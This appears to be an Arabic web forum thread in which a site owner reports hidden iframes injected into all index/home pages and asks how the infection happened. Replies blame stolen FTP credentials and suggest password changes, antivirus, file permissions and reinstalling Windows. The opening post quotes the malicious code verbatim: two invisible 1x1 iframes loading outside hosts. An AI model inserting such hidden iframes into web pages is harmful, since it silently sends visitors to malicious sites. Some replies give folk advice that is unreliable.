فيروس خبيث ينتشر بموقعي

[dev/null]

السلام عليكم ورحمة الله وبركاته

امس اكتشفت فيروس منشر بموقعي بجميع الملفات الرئيسية index و home و غيرها ..

<iframe src="http://webexperience13.com/?click=8951421" width=1 height=1 style="visibility:hidden;position:absolute"></iframe><iframe src="http://thedeadpit.com/?click=90348015" width=1 height=1 style="visibility:hidden;position:absolute"></iframe> 

طبعا اضطريت اني امشي على جميع الملفات واشيل الكود منها ، لكن اللي ابي اعرفه شلون وصل هالكود ..؟ وكيف امنعه ما يرجع لي مره ثانيه ..


شاكر للجميع

[عمر الدليمي]

عادة ما يوصل عن طريق FTP ... فكما فهمت أن موقعك html وليس مبرمج.
ولا يوجد تفسير آخر لذلك إلا عن طريق كشف حساب FTP عن طريق تجربة الباسووردات أو إعتراض إشارتك في الشبكة والكشف عن كلمة سر حسابك.
أسهل حل هو إستخدام كلمة سر معقدة وكذلك إستخدام إتصال FTP مشفر.
واستخدم FireFox في إدارة موقعك وكذلك FireFTP أو FTPZilla للوصول إلى ملفاتك عبر FTP.

هذا ما لدي والله أعلم

[فتى الأحلام]

وكيف امنعه ما يرجع لي مره ثانيه

اعطي التراخيص 444 لتلك الملفات بعد تنظيفها

[سحاب اون لاين]

الفايروس يصيب موقعك عن طريق جهازك الذي تدخل منه علي الاف تي بي
ولا ينتقل الفايروس الي جميع صفحات الموقع .. فقط الي صفحات الاندكس بجميع امتداداتها
الحل انك تنزل مكافح فايروسات قوي مثل الكاسبر أو من الافضل ان تعيد تثبيت الويندوز من جديد

[عمر الدليمي]

الفايروس يصيب موقعك عن طريق جهازك الذي تدخل منه علي الاف تي بي

كلامك تمام!
لذلك أن تركت إستخدام وندوز .. حفاظاً على مواقعي.

[خالد الحضري]

كلامك تمام!
لذلك أن تركت إستخدام وندوز .. حفاظاً على مواقعي.

أنا أيضا

اعطي التراخيص 444 لتلك الملفات بعد تنظيفها

[dev/null]

شكرا لكم جميعا .. وباذن الله راح اعمل سكان للجهاز ..
بس صعبه جدا يا اخوان امشي على الملفات مره اخرى واعطيها ترخيص 444 .. لانها كثيره تقريبا في حدود 100 ملف !!
الفيروس زرع نفسه في جميع الملفات الرئيسية index و home و main ..

[ELMaDAh]

اكاذ اجزم انك تستخدم برنامج نقل الملفات كريستال اف تى بى

و بالمناسبه اسكان على الجهاز لن و لم يجدى انا لدى نود 32 نسخه مرخصه اصداره الشركات و مع ذلك لم يتمكن حتى من رؤويه

بالفحص العميق مع احد المتخصصين فى الاستضافه احدى الشركات الكنديه قم بايضاح التالى

- ان هذا يكون سببه ان بعض برامج نقل الملفات مصابه بثغره يتم الولوج اليها عشوائياً من قبل مبرمجى برمجيات الاسبام للاهداف الدعائيه

و ان الحل الاولى على سبيل التجرب
قم بمسح الكوكيز
قم بمسح الملفات المؤقته
استخدم متصف امن مثل جوجول كروم او فايرفوكس الذان يمنعان نزوح كوكيز او الاحتفاظ ببيانات كلمات السر
ادخل على لوحه التحكم و غير كلمه السر
لا تستخدم برنامج الاف تى بى الذى استخدمته من قبل
انتظر و لن تجد الفيرس عاد للظهور

و من هذا نستنتج الحل التالى

* قم بعمل الحل الاولى لانه لابد من تنظيف الموقع و تغير كلمه سر لوحه التحكم و اياك الدخول عليها حتى تختار احد الحلين التاليين

للدرجه الامان القصوى
- قم بازاله نسخه الوندوز و تنزيل الوندوز من جديد لانه فى الغالب التعيرات قابعه فى الريجستروى
- استخدم برنامج رفع ملفات اخر و اضمنها فايل زيلا

للدرجات الامان العاديه

- قم بازاله البرنامج الذى استخدمته
- اسم كافه القيم الخاصه به من الرجيستروى
- امسح ملفات التمبرارى
- امسح ملفات الكوكيز
- امسح ملفات البيك اب
- نزل برنامج اخر و يفضل فايل زيلا
- انتهى

نقلاً عن مناقشه بينى و بين صاحب شركه استضافه كنديه ...

و بالتوفيق ان شاء الله

[خالد الحربي]

هلا فيك

انا بسيرفري القديم جاني فيروس شبيه بفيروسك بس على شكل سكربت جافا ويضيف بالنهاية ip حق السيرفر

كل ماازيله يرجع لي بعد فترة

ويصيب القوالب وملفات هتمل

وكثير قالوا لي من جهازك

مع اني مفرمت الجهاز وبرظوا رجع لي

الحل اني غيرت سيرفري وافتكيت منه ولله الحمد !

[dev/null]

مرحبا ELMaDAh
ههههههه فعلا استخدم برنامج قديم وصغير لكنه يفي بالغرض ..
حاليا عملت سكان وحذفت الكويكز و حذفت ايضا برنامج نقل الملفات القديم
ونزلة FireFTP و غيرة باسوورد الموقع .. وباذن الله مايرجع ..

شاكر لكم جميعا

[m3rdi.com]

السلام عليكم ...
هذا نفسه بالضبط صار معي من اول ...

مثل ما قالوا الشباب هو يدخل على ملفات الإندكس كل اللي موجودة في الموقع ما عدا اللي حجمها 0 ,,, بس ترى حتى ملفات الإندكس .php حتلاقيه دخل فيها ويضيف عليها echo "" ;

هذا من خلال جهازك , انصحك قبل كل شيء , انك تفرمت الجهاز عندك, وبعدها تنضف الموقع بشكل كامل .

لازم تفرمت لانك ما حتتأكد اي نوع من انواع برامج الحماية يقدر يشيله ...

الله يعينك اخوي ...

[حياة ديزاين]

اخوي انا غير متأكد من هذا يمكن مش هو الحل

سمعت منذ فترة انه google desktop ينزل فايروسات على المواقع ، فلذلك اذا عندك البرنامج احذفه

وان شاء الله ما يرجع ابد

[abdellahjawal]

أخي قم بتنصيب أحدث نسخة من برنامج kasersky
وقم بعملية سكان لجهازك بالكامل
وبعدين إحذف برنامج ftp
وقم بالدخول الى الملفات عبر cpanel وبعد الانتهاء من حذف الكود
قم بتنصيب برنامج ftp من جديد
وفقك الله

[جروحي]

السلام عليكم

حبيب قلبي مثل ماقلت لك

نظفهم يدوي ونزل كاسبتر انترنت سكيورتي.

وانسى النوعية هذي من الفيروسات

بالنسبة للكود هذا سمعت من فتره انه يدخل عن طريق السي بنل ولازم ترقيه لها. <-- الكلام هذا صحيح لانها صارت معي على جهاز وهو نظيف.